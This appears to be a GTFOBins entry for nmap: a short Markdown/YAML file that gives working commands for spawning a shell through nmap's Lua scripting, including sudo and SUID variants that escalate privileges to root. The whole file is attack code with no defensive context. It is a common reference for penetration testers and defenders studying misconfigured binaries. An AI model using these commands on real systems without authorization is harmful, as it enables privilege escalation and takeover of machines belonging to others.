GTFOBins.github.io/_gtfobins/nmap.md
2018-08-23 18:11:27 +02:00

22 lines
525 B
Markdown

---
functions:
execute-interactive:
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
sudo-enabled:
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
suid-enabled:
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh -p")' > $TF
./nmap --script=$TF
---